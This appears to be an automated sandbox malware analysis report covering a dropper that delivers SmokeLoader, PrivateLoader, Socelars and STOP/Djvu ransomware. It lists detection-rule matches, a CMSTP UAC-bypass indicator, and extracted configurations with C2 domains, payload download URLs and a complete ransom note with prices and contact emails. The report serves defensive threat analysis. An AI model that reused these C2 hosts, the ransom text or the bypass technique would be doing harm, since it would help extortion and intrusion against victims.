31.2.FC9E.exe.400000.0.unpack	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
31.2.FC9E.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.FC9E.exe.400000.0.unpack	JoeSecurity_Socelars	Yara detected Socelars	Joe Security
31.2.FC9E.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x146758:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1467a8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x176c8d:$s1: CoGetObject 0x18d66c:$s1: CoGetObject 0x146614:$s2: Elevation:Administrator!new:
26.3.D510.exe.8b0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
39.0.svchost.exe.2e4a1010000.0.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6506e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
39.0.svchost.exe.2e4a1010000.0.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
39.0.svchost.exe.2e4a1010000.0.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x58c08:$s1: -k netsvcs 0x583c8:$s3: Mozilla/4.0 (compatible) 0x576f0:$s4: _kasssperskdy 0x56d88:$s5: winssyslog 0x58950:$s6: LoaderDll%d 0x56c60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x56890:$s8: cmd.exe /c start chrome.exe 0x569f0:$s8: cmd.exe /c start msedge.exe 0x56bd0:$s8: cmd.exe /c start firefox.exe 0x66ef0:$f1: .?AVCHVncManager@@ 0x672d8:$f2: .?AVCNetstatManager@@ 0x67348:$f3: .?AVCTcpAgentListener@@ 0x671c8:$f4: .?AVIUdpClientListener@@ 0x67578:$f5: .?AVCShellManager@@ 0x67528:$f6: .?AVCScreenSpy@@
39.0.svchost.exe.2e4a1010000.0.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x576f0:$a: _kasssperskdy 0x5861e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
39.2.svchost.exe.2e4a1110000.1.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6506e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
39.2.svchost.exe.2e4a1110000.1.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
39.2.svchost.exe.2e4a1110000.1.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x58c08:$s1: -k netsvcs 0x583c8:$s3: Mozilla/4.0 (compatible) 0x576f0:$s4: _kasssperskdy 0x56d88:$s5: winssyslog 0x58950:$s6: LoaderDll%d 0x56c60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x56890:$s8: cmd.exe /c start chrome.exe 0x569f0:$s8: cmd.exe /c start msedge.exe 0x56bd0:$s8: cmd.exe /c start firefox.exe 0x66ef0:$f1: .?AVCHVncManager@@ 0x672d8:$f2: .?AVCNetstatManager@@ 0x67348:$f3: .?AVCTcpAgentListener@@ 0x671c8:$f4: .?AVIUdpClientListener@@ 0x67578:$f5: .?AVCShellManager@@ 0x67528:$f6: .?AVCScreenSpy@@
39.2.svchost.exe.2e4a1110000.1.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x576f0:$a: _kasssperskdy 0x5861e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
43.2.wtiivdw.970e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
37.2.FC9E.exe.400000.0.unpack	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
37.2.FC9E.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
37.2.FC9E.exe.400000.0.unpack	JoeSecurity_Socelars	Yara detected Socelars	Joe Security
37.2.FC9E.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x146758:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1467a8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x176c8d:$s1: CoGetObject 0x18d66c:$s1: CoGetObject 0x146614:$s2: Elevation:Administrator!new:
30.2.rundll32.exe.bb0000.0.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x53366:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
30.2.rundll32.exe.bb0000.0.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
30.2.rundll32.exe.bb0000.0.unpack	MALWARE_Win_Fabookie	Detects Fabookie / ElysiumStealer	ditekSHen	0x4c6e6:$s1: rwinssyslog 0x4caec:$s2: _kasssperskdy 0x4ca88:$s3: [Title:%s] 0x4cbfc:$s4: [Execute] 0x4cc10:$s5: [Snapshot] 0x4d484:$s6: Mozilla/4.0 (compatible) 0x4de3c:$s9: CUdpClient::Start
30.2.rundll32.exe.bb0000.0.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x4dcf4:$s1: -k netsvcs 0x4d484:$s3: Mozilla/4.0 (compatible) 0x4caec:$s4: _kasssperskdy 0x4c6e8:$s5: winssyslog 0x4da4c:$s6: LoaderDll%d 0x4c4c8:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x4c110:$s8: cmd.exe /c start chrome.exe 0x4c270:$s8: cmd.exe /c start msedge.exe 0x4c440:$s8: cmd.exe /c start firefox.exe 0x54f08:$f1: .?AVCHVncManager@@ 0x55204:$f2: .?AVCNetstatManager@@ 0x5525c:$f3: .?AVCTcpAgentListener@@ 0x54ffc:$f4: .?AVIUdpClientListener@@ 0x5541c:$f5: .?AVCShellManager@@ 0x553e0:$f6: .?AVCScreenSpy@@
30.2.rundll32.exe.bb0000.0.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x4caec:$a: _kasssperskdy 0x4d6ae:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
39.2.svchost.exe.2e4a1110000.1.raw.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
39.2.svchost.exe.2e4a1110000.1.raw.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
39.2.svchost.exe.2e4a1110000.1.raw.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
39.2.svchost.exe.2e4a1110000.1.raw.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
39.2.svchost.exe.2e4a1010000.0.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6506e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
39.2.svchost.exe.2e4a1010000.0.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
39.2.svchost.exe.2e4a1010000.0.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x58c08:$s1: -k netsvcs 0x583c8:$s3: Mozilla/4.0 (compatible) 0x576f0:$s4: _kasssperskdy 0x56d88:$s5: winssyslog 0x58950:$s6: LoaderDll%d 0x56c60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x56890:$s8: cmd.exe /c start chrome.exe 0x569f0:$s8: cmd.exe /c start msedge.exe 0x56bd0:$s8: cmd.exe /c start firefox.exe 0x66ef0:$f1: .?AVCHVncManager@@ 0x672d8:$f2: .?AVCNetstatManager@@ 0x67348:$f3: .?AVCTcpAgentListener@@ 0x671c8:$f4: .?AVIUdpClientListener@@ 0x67578:$f5: .?AVCShellManager@@ 0x67528:$f6: .?AVCScreenSpy@@
39.2.svchost.exe.2e4a1010000.0.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x576f0:$a: _kasssperskdy 0x5861e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
39.2.svchost.exe.2e4a1010000.0.raw.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
39.2.svchost.exe.2e4a1010000.0.raw.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
39.2.svchost.exe.2e4a1010000.0.raw.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
39.2.svchost.exe.2e4a1010000.0.raw.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
39.0.svchost.exe.2e4a1010000.0.raw.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
39.0.svchost.exe.2e4a1010000.0.raw.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
39.0.svchost.exe.2e4a1010000.0.raw.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
39.0.svchost.exe.2e4a1010000.0.raw.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
14.2.6D2B.exe.2f415a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
14.2.6D2B.exe.2f415a0.1.unpack	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
14.2.6D2B.exe.2f415a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.6D2B.exe.2f415a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.6D2B.exe.2f415a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.6D2B.exe.2f415a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
14.2.6D2B.exe.2f415a0.1.raw.unpack	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
14.2.6D2B.exe.2f415a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.6D2B.exe.2f415a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.6D2B.exe.2f415a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Click to see the 48 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://luxulixionus.net/	Avira URL Cloud: Label: malware
Source: http://moroitomo4.net/	Avira URL Cloud: Label: malware
Source: http://acacaca.org/lancer/get.php	Avira URL Cloud: Label: malware
Source: http://ngdatas.pw/https://www.icodeps.com/0.0.0.0%d.%d.%d.%dhttp-1ZIP	URL Reputation: Label: malware
Source: https://v.xyzgamev.com/31.html	Avira URL Cloud: Label: malware
Source: https://i.xyzgamei.com/gamexyz/31/random.exe	Avira URL Cloud: Label: malware
Source: http://susuerulianita1.net/	URL Reputation: Label: malware
Source: http://linislominyt11.at/	URL Reputation: Label: malware
Source: https://b.game2723.com/gamexyz/31/06dc6305622ca0ca43992ae64c25b80f.exe	Avira URL Cloud: Label: malware
Source: http://nusurionuy5ff.at/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\A8D9.exe	Avira: detection malicious, Label: HEUR/AGEN.1210630
Source: C:\Users\user\AppData\Local\Temp\9589.exe	Avira: detection malicious, Label: HEUR/AGEN.1210630
Source: C:\Users\user\AppData\Local\Temp\FC9E.exe	Avira: detection malicious, Label: JS/SpyBanker.G2

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\5449.exe	ReversingLabs: Detection: 30%
Source: C:\Users\user\AppData\Local\Temp\6382.exe	Metadefender: Detection: 53%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\6382.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	ReversingLabs: Detection: 62%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\wtiivdw	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BFB7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A8D9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5449.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D4C7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9602.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9589.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\viiivdw	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\42BA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FC9E.exe	Joe Sandbox ML: detected

Source: 39.0.svchost.exe.2e4a1010000.0.unpack	Avira: Label: TR/ATRAPS.Gen2
Source: 39.2.svchost.exe.2e4a1110000.1.unpack	Avira: Label: TR/ATRAPS.Gen2
Source: 30.2.rundll32.exe.bb0000.0.unpack	Avira: Label: TR/ATRAPS.Gen2
Source: 39.2.svchost.exe.2e4a1010000.0.unpack	Avira: Label: TR/ATRAPS.Gen2

Source: 0000000B.00000002.431544123.00000000009E0000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://samnutu11nuli.com/", "http://linislominyt11.at/", "http://nikogkojam.org/", "http://luxulixionus.net/", "http://nunuslushau.com/", "http://monsutiur4.com/", "http://nusurionuy5ff.at/", "http://moroitomo4.net/", "http://susuerulianita1.net/", "http://nikogminut88.at/", "http://cucumbetuturel4.com/", "http://lilisjjoer44.com/", "http://mini55tunul.com/", "http://limo00ruling.org/"]}
Source: 37.2.FC9E.exe.400000.0.unpack	Malware Configuration Extractor: Socelars {"C2 url": "https://hueduy.s3.eu-west-1.amazonaws.com/nbsdg818"}
Source: 14.2.6D2B.exe.2f415a0.1.raw.unpack	Malware Configuration Extractor: Djvu {"Download URLs": ["http://rgyui.top/dl/build2.exe", "http://acacaca.org/files/1/build3.exe"], "C2 url": "http://acacaca.org/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-USug3rryKI\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@bestyourmail.ch\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0549Jhyjd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 31.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000002.628413138.0000000000546000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.570352201.0000000000546000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FC9E.exe PID: 240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC9E.exe PID: 5728, type: MEMORYSTR

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.5:49738 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 6D2B.exe, 6D2B.exe, 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: /C:\fifuhehowa\75-boj\fiyamutazug_6\zaxij.pdbNI source: D4C7.exe.2.dr
Source:	Binary string: C:\gacupafojos p.pdb source: 6D2B.exe, 0000000E.00000000.462125104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, 6D2B.exe, 0000000E.00000002.639473965.0000000000401000.00000020.00000001.01000000.00000007.sdmp, 6D2B.exe.2.dr
Source:	Binary string: wextract.pdb source: 5449.exe, 00000026.00000000.575095352.0000000000401000.00000020.00000001.01000000.00000010.sdmp, 5449.exe.2.dr
Source:	Binary string: wextract.pdbGCTL source: 5449.exe, 00000026.00000000.575095352.0000000000401000.00000020.00000001.01000000.00000010.sdmp, 5449.exe.2.dr
Source:	Binary string: C:\fifuhehowa\75-boj\fiyamutazug_6\zaxij.pdb source: D4C7.exe.2.dr
Source:	Binary string: C:\gacupafojos p.pdb@ source: 6D2B.exe, 0000000E.00000000.462125104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, 6D2B.exe, 0000000E.00000002.639473965.0000000000401000.00000020.00000001.01000000.00000007.sdmp, 6D2B.exe.2.dr
Source:	Binary string: C:\mahicetadovey_26 sohefovifuw.pdb source: BFB7.exe.2.dr
Source:	Binary string: u]C:\mahicetadovey_26 sohefovifuw.pdb source: BFB7.exe.2.dr
Source:	Binary string: C:\leh.pdb`JD source: file.exe
Source:	Binary string: C:\kipomo9.pdb source: D510.exe, 0000001A.00000000.515081857.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, wtiivdw, 0000002B.00000000.590978483.0000000000401000.00000020.00000001.01000000.00000012.sdmp, wtiivdw.2.dr
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 6D2B.exe, 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\kipomo9.pdbpID source: D510.exe, 0000001A.00000000.515081857.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, wtiivdw, 0000002B.00000000.590978483.0000000000401000.00000020.00000001.01000000.00000012.sdmp, wtiivdw.2.dr
Source:	Binary string: C:\leh.pdb source: file.exe

Spreading

Yara detected PrivateLoader

Source: Yara match	File source: 31.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6D2B.exe.2f415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6D2B.exe.2f415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: cucumbetuturel4.com
Source: C:\Windows\explorer.exe	Domain query: susuerulianita1.net
Source: C:\Windows\explorer.exe	Domain query: linislominyt11.at
Source: C:\Windows\explorer.exe	Domain query: moroitomo4.net
Source: C:\Windows\explorer.exe	Domain query: megaplusredirection.tedata.net
Source: C:\Windows\explorer.exe	Domain query: monsutiur4.com
Source: C:\Windows\explorer.exe	Domain query: nusurionuy5ff.at
Source: C:\Windows\explorer.exe	Domain query: nunuslushau.com

Yara detected PrivateLoader

Source: Yara match	File source: 31.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6D2B.exe.2f415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6D2B.exe.2f415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://acacaca.org/lancer/get.php
Source: Malware configuration extractor	URLs: https://hueduy.s3.eu-west-1.amazonaws.com/nbsdg818
Source: Malware configuration extractor	URLs: http://samnutu11nuli.com/
Source: Malware configuration extractor	URLs: http://linislominyt11.at/
Source: Malware configuration extractor	URLs: http://nikogkojam.org/
Source: Malware configuration extractor	URLs: http://luxulixionus.net/
Source: Malware configuration extractor	URLs: http://nunuslushau.com/
Source: Malware configuration extractor	URLs: http://monsutiur4.com/
